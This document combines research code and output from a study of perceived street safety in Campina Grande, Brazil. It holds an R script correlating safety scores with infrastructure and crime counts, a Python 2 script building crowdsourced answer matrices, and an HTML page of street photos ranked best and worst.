# cen1$pavimentacao <- setores[setores$setor == 250400905000004,]$pavimentacao
# cen1$calcada <- setores[setores$setor == 250400905000004,]$calcada
# cen2$iluminacao <- setores[setores$setor == 250400905000013,]$iluminacao
# cen2$arborizacao <- setores[setores$setor == 250400905000013,]$arborizacao
# cen2$pavimentacao <- setores[setores$setor == 250400905000013,]$pavimentacao
# cen2$calcada <- setores[setores$setor == 250400905000013,]$calcada
# lib1$iluminacao <- setores[setores$setor == 250400905000089,]$iluminacao
# lib1$arborizacao <- setores[setores$setor == 250400905000089,]$arborizacao
# lib1$pavimentacao <- setores[setores$setor == 250400905000089,]$pavimentacao
# lib1$calcada <- setores[setores$setor == 250400905000089,]$calcada
# lib2$iluminacao <- setores[setores$setor == 250400905000095,]$iluminacao
# lib2$arborizacao <- setores[setores$setor == 250400905000095,]$arborizacao
# lib2$pavimentacao <- setores[setores$setor == 250400905000095,]$pavimentacao
# lib2$calcada <- setores[setores$setor == 250400905000095,]$calcada
cor.test(setores$qscore, setores$iluminacao, method="spearman")
cor.test(setores$qscore, setores$pavimentacao, method="spearman")
cor.test(setores$qscore, setores$calcada, method="spearman")
cor.test(setores$qscore, setores$arborizacao, method="spearman")
cor.test(setores$qscore, setores$iluminacao, method="pearson")
cor.test(setores$qscore, setores$pavimentacao, method="pearson")
cor.test(setores$qscore, setores$calcada, method="pearson")
cor.test(setores$qscore, setores$arborizacao, method="pearson")
cor.test(setores$qscore, setores$iluminacao, method="kendall")
cor.test(setores$qscore, setores$pavimentacao, method="kendall")
cor.test(setores$qscore, setores$calcada, method="kendall")
cor.test(setores$qscore, setores$arborizacao, method="kendall")
#Qscores por setor para seguro
cat1 <- allDataSetores[allDataSetores$setor == 250400905000060 & allDataSetores$V1 == "seguro?"& allDataSetores$grupo == "Geral",]
cat2 <- allDataSetores[allDataSetores$setor == 250400905000062 & allDataSetores$V1 == "seguro?"& allDataSetores$grupo == "Geral",]
cen1 <- allDataSetores[allDataSetores$setor == 25040090500004 & allDataSetores$V1 == "seguro?"& allDataSetores$grupo == "Geral",]
cen2 <- allDataSetores[allDataSetores$setor == 250400905000013 & allDataSetores$V1 == "seguro?"& allDataSetores$grupo == "Geral",]
lib1 <- allDataSetores[allDataSetores$setor == 250400905000089 & allDataSetores$V1 == "seguro?"& allDataSetores$grupo == "Geral",]
lib2 <- allDataSetores[allDataSetores$setor == 250400905000095 & allDataSetores$V1 == "seguro?"& allDataSetores$grupo == "Geral",]
#Qscore médio por setor
setores$qscore = 0
setores[setores$setor == 250400905000060,]$qscore = mean(cat1$V3)
setores[setores$setor == 250400905000062,]$qscore = mean(cat2$V3)
setores[setores$setor == 250400905000004,]$qscore = mean(cen1$V3)
setores[setores$setor == 250400905000013,]$qscore = mean(cen2$V3)
setores[setores$setor == 250400905000089,]$qscore = mean(lib1$V3)
setores[setores$setor == 250400905000095,]$qscore = mean(lib2$V3)
cor.test(setores$qscore, setores$iluminacao, method="spearman")
cor.test(setores$qscore, setores$pavimentacao, method="spearman")
cor.test(setores$qscore, setores$calcada, method="spearman")
cor.test(setores$qscore, setores$arborizacao, method="spearman")
cor.test(setores$qscore, setores$iluminacao, method="pearson")
cor.test(setores$qscore, setores$pavimentacao, method="pearson")
cor.test(setores$qscore, setores$calcada, method="pearson")
cor.test(setores$qscore, setores$arborizacao, method="pearson")
cor.test(setores$qscore, setores$iluminacao, method="kendall")
cor.test(setores$qscore, setores$pavimentacao, method="kendall")
cor.test(setores$qscore, setores$calcada, method="kendall")
cor.test(setores$qscore, setores$arborizacao, method="kendall")
#Dados Polícia + Setores
setores$crimes <- 0
setores[setores$setor == 250400905000060,]$crimes = 4
setores[setores$setor == 250400905000062,]$crimes = 1
setores[setores$setor == 250400905000004,]$crimes = 2
setores[setores$setor == 250400905000013,]$crimes = 8
setores[setores$setor == 250400905000089,]$crimes = 6
setores[setores$setor == 250400905000095,]$crimes = 21
cor.test(setores$qscore, setores$crimes, method="spearman")
cor.test(setores$crimes, setores$pavimentacao, method="spearman")
cor.test(setores$crimes, setores$calcada, method="spearman")
cor.test(setores$crimes, setores$arborizacao, method="spearman")
cor.test(setores$crimes, setores$iluminacao, method="spearman")
cor.test(setores$qscore, setores$crimes, method="pearson")
cor.test(setores$crimes, setores$pavimentacao, method="pearson")
cor.test(setores$crimes, setores$calcada, method="pearson")
cor.test(setores$crimes, setores$arborizacao, method="pearson")
cor.test(setores$crimes, setores$iluminacao, method="pearson")
cor.test(setores$qscore, setores$crimes, method="kendall")
cor.test(setores$crimes, setores$pavimentacao, method="kendall")
cor.test(setores$crimes, setores$calcada, method="kendall")
cor.test(setores$crimes, setores$arborizacao, method="kendall")
cor.test(setores$crimes, setores$iluminacao, method="kendall")
```
<file_sep>import sys
from sets import Set
def parseUserData(lines, filterLines, outputFileNameAgra, outputFileNameSeg):
""" Reading user data """
usersTasksMatrixAgra = {}
usersTasksMatrixSeg = {}
allTasksAgra = Set([])
allTasksSeg = Set([])
for line in lines:
data = line.split("|")
userID = int(data[0])
tasksIDAgra = eval(data[2])
tasksIDSeg = eval(data[3])
tasksAnswerAgra = eval(data[4])
tasksAnswerSeg = eval(data[5])
allTasksAgra.update(tasksIDAgra)
allTasksSeg.update(tasksIDSeg)
#Agra
if userID in usersTasksMatrixAgra.keys():
tasksInfo = usersTasksMatrixAgra[userID]
else:
tasksInfo = {}
if (len(filterLines) > 0 and str(userID)+"\n" in filterLines) or (len(filterLines) == 0):
for i in range(0, len(tasksIDAgra)):
tasksInfo[tasksIDAgra[i]] = tasksAnswerAgra[i]
usersTasksMatrixAgra[userID] = tasksInfo
#Seg
if userID in usersTasksMatrixSeg.keys():
tasksInfo = usersTasksMatrixSeg[userID]
else:
tasksInfo = {}
if (len(filterLines) > 0 and str(userID)+"\n" in filterLines) or (len(filterLines) == 0):
for i in range(0, len(tasksIDSeg)):
tasksInfo[tasksIDSeg[i]] = tasksAnswerSeg[i]
usersTasksMatrixSeg[userID] = tasksInfo
#Iterating through users and tasks in ascending order of IDs. Tasks Agradable
currentTasks = list(allTasksAgra)
currentTasks.sort()
outputFile = open(outputFileNameAgra, 'w')
outputFile.write("userID\t")
for task in currentTasks:
outputFile.write(task+"\t")
outputFile.write("\n")
for userID in usersTasksMatrixAgra.keys():
outputFile.write(str(userID)+"\t")
for task in currentTasks:
if not task in usersTasksMatrixAgra[userID].keys():
outputFile.write("NA\t")
else:
value = usersTasksMatrixAgra[userID][task]
if value == 'NotKnown':
outputFile.write(str("NotKnown")+"\t")
elif value == 'Left':
outputFile.write(str("Left")+"\t")
elif value == 'Right':
outputFile.write(str("Right")+"\t")
outputFile.write("\n")
outputFile.close()
#Iterating through users and tasks in ascending order of IDs. Tasks Secure
currentTasks = list(allTasksSeg)
currentTasks.sort()
outputFile = open(outputFileNameSeg, 'w')
outputFile.write("userID\t")
for task in currentTasks:
outputFile.write(task+"\t")
outputFile.write("\n")
for userID in usersTasksMatrixSeg.keys():
outputFile.write(str(userID)+"\t")
for task in currentTasks:
if not task in usersTasksMatrixSeg[userID].keys():
outputFile.write("NA\t")
else:
value = usersTasksMatrixSeg[userID][task]
if value == 'NotKnown':
outputFile.write(str("NotKnown")+"\t")
elif value == 'Left':
outputFile.write(str("Left")+"\t")
elif value == 'Right':
outputFile.write(str("Right")+"\t")
outputFile.write("\n")
outputFile.close()
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <arquivo com ids, tarefas e perfis dos usuarios> <usuarios a filtrar>"
sys.exit(1)
dataFile = open(sys.argv[1], 'r')
lines = dataFile.readlines()
dataFile.close()
if len(sys.argv) > 2:
filterFile = open(sys.argv[2], 'r')
filterLines = filterFile.readlines()
filterFile.close()
if len(sys.argv) > 3:
filterFile2 = open(sys.argv[3], 'r')
filterLines2 = filterFile2.readlines()
filterFile2.close()
filterLines.extend(filterLines2[1:])
else:
filterLines = []
usersTasks = parseUserData(lines, filterLines[1:], "consenseMatrixAgra.dat", "consenseMatrixSeg.dat")
<file_sep><meta content="text/html; charset=UTF-8" http-equiv="content-type"><body style="overflow:scroll">
>>> Para cada imagem temos todas as marcações quando ela foi escolhida como melhor ou pior imagem de um conjunto de 4 fotos. Além disso, ao lado do nome de cada imagem temos o número de vezes que a imagem foi escolhida como melhor ou pior!<h2> Melhores </h2><table>
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<td><img src="./melhoresnotcampina/R._Manoel_Pereira_de_Araújo_300_203.jpg" width="400" height="300"></td>
<td>./melhoresnotcampina/R._Manoel_Pereira_de_Araújo_300_203.jpg 1</td>
<td><img src="./melhoresnotcampina/R._Manoel_Pereira_de_Araújo_300_22.jpg" width="400" height="300"></td>
<td>./melhoresnotcampina/R._Manoel_Pereira_de_Araújo_300_22.jpg 1</td>
</tr>
<tr>
<td><img src="./melhoresnotcampina/R._Manoel_Pereira_de_Araújo_300_315.jpg" width="400" height="300"></td>
<td>./melhoresnotcampina/R._Manoel_Pereira_de_Araújo_300_315.jpg 6</td>
<td><img src="./melhoresnotcampina/R._Manoel_Pereira_de_Araújo_370_135.jpg" width="400" height="300"></td>
<td>./melhoresnotcampina/R._Manoel_Pereira_de_Araújo_370_135.jpg 1</td>
<td><img src="./melhoresnotcampina/R._Manoel_Pereira_de_Araújo_370_315.jpg" width="400" height="300"></td>
<td>./melhoresnotcampina/R._Manoel_Pereira_de_Araújo_370_315.jpg 3</td>
</tr>
<tr>
<td><img src="./melhoresnotcampina/R._Manoel_Pereira_de_Araújo_392_22.jpg" width="400" height="300"></td>
<td>./melhoresnotcampina/R._Manoel_Pereira_de_Araújo_392_22.jpg 1</td>
<td><img src="./melhoresnotcampina/R._Manoel_Pereira_de_Araújo_392_225.jpg" width="400" height="300"></td>
<td>./melhoresnotcampina/R._Manoel_Pereira_de_Araújo_392_225.jpg 2</td>
<td><img src="./melhoresnotcampina/R._Manoel_Pereira_de_Araújo_392_293.jpg" width="400" height="300"></td>
<td>./melhoresnotcampina/R._Manoel_Pereira_de_Araújo_392_293.jpg 7</td>
</tr>
<tr>
</tr>
</table><h2> Piores </h2><table>
<tr>
<td><img src="./pioresnotcampina/Av._Mal._Floriano_Peixoto_445_22.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/Av._Mal._Floriano_Peixoto_445_22.jpg 4</td>
<td><img src="./pioresnotcampina/Av._Mal._Floriano_Peixoto_445_293.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/Av._Mal._Floriano_Peixoto_445_293.jpg 10</td>
<td><img src="./pioresnotcampina/Av._Mal._Floriano_Peixoto_480_112.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/Av._Mal._Floriano_Peixoto_480_112.jpg 2</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/Av._Mal._Floriano_Peixoto_480_203.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/Av._Mal._Floriano_Peixoto_480_203.jpg 10</td>
<td><img src="./pioresnotcampina/Av._Mal._Floriano_Peixoto_549_22.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/Av._Mal._Floriano_Peixoto_549_22.jpg 18</td>
<td><img src="./pioresnotcampina/Av._Mal._Floriano_Peixoto_549_293.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/Av._Mal._Floriano_Peixoto_549_293.jpg 16</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/Av._Mal._Floriano_Peixoto_580_112.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/Av._Mal._Floriano_Peixoto_580_112.jpg 10</td>
<td><img src="./pioresnotcampina/Av._Mal._Floriano_Peixoto_580_203.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/Av._Mal._Floriano_Peixoto_580_203.jpg 3</td>
<td><img src="./pioresnotcampina/Av._Mal._Floriano_Peixoto_660_112.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/Av._Mal._Floriano_Peixoto_660_112.jpg 3</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/Av._Mal._Floriano_Peixoto_660_203.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/Av._Mal._Floriano_Peixoto_660_203.jpg 13</td>
<td><img src="./pioresnotcampina/Av._Mal._Floriano_Peixoto_691_22.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/Av._Mal._Floriano_Peixoto_691_22.jpg 3</td>
<td><img src="./pioresnotcampina/Av._Mal._Floriano_Peixoto_691_293.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/Av._Mal._Floriano_Peixoto_691_293.jpg 2</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/Av._Mal._Floriano_Peixoto_813_22.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/Av._Mal._Floriano_Peixoto_813_22.jpg 10</td>
<td><img src="./pioresnotcampina/Av._Mal._Floriano_Peixoto_813_293.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/Av._Mal._Floriano_Peixoto_813_293.jpg 8</td>
<td><img src="./pioresnotcampina/Av._Mal._Floriano_Peixoto_826_112.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/Av._Mal._Floriano_Peixoto_826_112.jpg 8</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/Av._Mal._Floriano_Peixoto_826_203.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/Av._Mal._Floriano_Peixoto_826_203.jpg 6</td>
<td><img src="./pioresnotcampina/Av._Mal._Floriano_Peixoto_912_112.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/Av._Mal._Floriano_Peixoto_912_112.jpg 13</td>
<td><img src="./pioresnotcampina/Av._Mal._Floriano_Peixoto_912_203.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/Av._Mal._Floriano_Peixoto_912_203.jpg 7</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/Av._Mal._Floriano_Peixoto_913_22.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/Av._Mal._Floriano_Peixoto_913_22.jpg 19</td>
<td><img src="./pioresnotcampina/Av._Mal._Floriano_Peixoto_913_293.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/Av._Mal._Floriano_Peixoto_913_293.jpg 17</td>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_105_135.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_105_135.jpg 2</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_105_225.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_105_225.jpg 1</td>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_105_45.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_105_45.jpg 3</td>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_160_225.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_160_225.jpg 2</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_160_45.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_160_45.jpg 1</td>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_210_45.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_210_45.jpg 1</td>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_261_135.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_261_135.jpg 12</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_261_22.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_261_22.jpg 1</td>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_261_225.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_261_225.jpg 3</td>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_2_135.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_2_135.jpg 8</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_2_225.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_2_225.jpg 10</td>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_2_293.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_2_293.jpg 15</td>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_2_45.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_2_45.jpg 20</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_305_135.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_305_135.jpg 48</td>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_305_225.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_305_225.jpg 32</td>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_305_293.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_305_293.jpg 7</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_305_45.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_305_45.jpg 11</td>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_350_135.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_350_135.jpg 18</td>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_350_203.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_350_203.jpg 19</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_350_315.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_350_315.jpg 15</td>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_350_45.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_350_45.jpg 4</td>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_390_135.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_390_135.jpg 12</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_390_203.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_390_203.jpg 6</td>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_390_315.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_390_315.jpg 14</td>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_390_45.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_390_45.jpg 14</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_436_135.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_436_135.jpg 3</td>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_436_203.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_436_203.jpg 21</td>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_436_22.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_436_22.jpg 1</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_436_315.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_436_315.jpg 2</td>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_66_135.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_66_135.jpg 6</td>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_66_225.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_66_225.jpg 2</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_66_315.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_66_315.jpg 3</td>
<td><img src="./pioresnotcampina/R._Cristina_Procópio_Silva_66_45.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Cristina_Procópio_Silva_66_45.jpg 4</td>
<td><img src="./pioresnotcampina/R._Edésio_Silva_1136_135.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Edésio_Silva_1136_135.jpg 25</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Edésio_Silva_1136_203.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Edésio_Silva_1136_203.jpg 41</td>
<td><img src="./pioresnotcampina/R._Edésio_Silva_1136_22.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Edésio_Silva_1136_22.jpg 20</td>
<td><img src="./pioresnotcampina/R._Edésio_Silva_1136_315.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Edésio_Silva_1136_315.jpg 15</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Edésio_Silva_1546_135.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Edésio_Silva_1546_135.jpg 4</td>
<td><img src="./pioresnotcampina/R._Edésio_Silva_1546_203.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Edésio_Silva_1546_203.jpg 8</td>
<td><img src="./pioresnotcampina/R._Edésio_Silva_1546_22.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Edésio_Silva_1546_22.jpg 4</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Edésio_Silva_1546_315.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Edésio_Silva_1546_315.jpg 1</td>
<td><img src="./pioresnotcampina/R._Edésio_Silva_306_135.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Edésio_Silva_306_135.jpg 10</td>
<td><img src="./pioresnotcampina/R._Edésio_Silva_306_203.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Edésio_Silva_306_203.jpg 2</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Edésio_Silva_306_22.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Edésio_Silva_306_22.jpg 5</td>
<td><img src="./pioresnotcampina/R._Edésio_Silva_306_315.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Edésio_Silva_306_315.jpg 11</td>
<td><img src="./pioresnotcampina/R._Edésio_Silva_602_135.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Edésio_Silva_602_135.jpg 12</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Edésio_Silva_602_203.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Edésio_Silva_602_203.jpg 21</td>
<td><img src="./pioresnotcampina/R._Edésio_Silva_602_22.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Edésio_Silva_602_22.jpg 1</td>
<td><img src="./pioresnotcampina/R._Edésio_Silva_602_315.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Edésio_Silva_602_315.jpg 3</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Edésio_Silva_70_135.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Edésio_Silva_70_135.jpg 25</td>
<td><img src="./pioresnotcampina/R._Edésio_Silva_70_203.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Edésio_Silva_70_203.jpg 17</td>
<td><img src="./pioresnotcampina/R._Edésio_Silva_70_315.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Edésio_Silva_70_315.jpg 52</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_120_112.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_120_112.jpg 6</td>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_120_203.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_120_203.jpg 19</td>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_120_22.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_120_22.jpg 2</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_120_293.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_120_293.jpg 2</td>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_160_112.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_160_112.jpg 3</td>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_160_203.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_160_203.jpg 3</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_160_22.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_160_22.jpg 8</td>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_160_293.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_160_293.jpg 4</td>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_199_10.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_199_10.jpg 5</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_199_180.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_199_180.jpg 3</td>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_199_293.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_199_293.jpg 1</td>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_239_203.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_239_203.jpg 4</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_239_22.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_239_22.jpg 2</td>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_239_270.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_239_270.jpg 6</td>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_239_90.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_239_90.jpg 3</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_2_112.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_2_112.jpg 14</td>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_2_203.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_2_203.jpg 13</td>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_2_22.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_2_22.jpg 8</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_2_293.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_2_293.jpg 13</td>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_300_10.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_300_10.jpg 3</td>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_300_112.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_300_112.jpg 2</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_300_180.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_300_180.jpg 6</td>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_360_203.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_360_203.jpg 9</td>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_360_22.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_360_22.jpg 6</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_360_270.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_360_270.jpg 6</td>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_360_90.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_360_90.jpg 16</td>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_434_10.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_434_10.jpg 14</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_434_112.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_434_112.jpg 7</td>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_434_180.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_434_180.jpg 12</td>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_434_270.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_434_270.jpg 13</td>
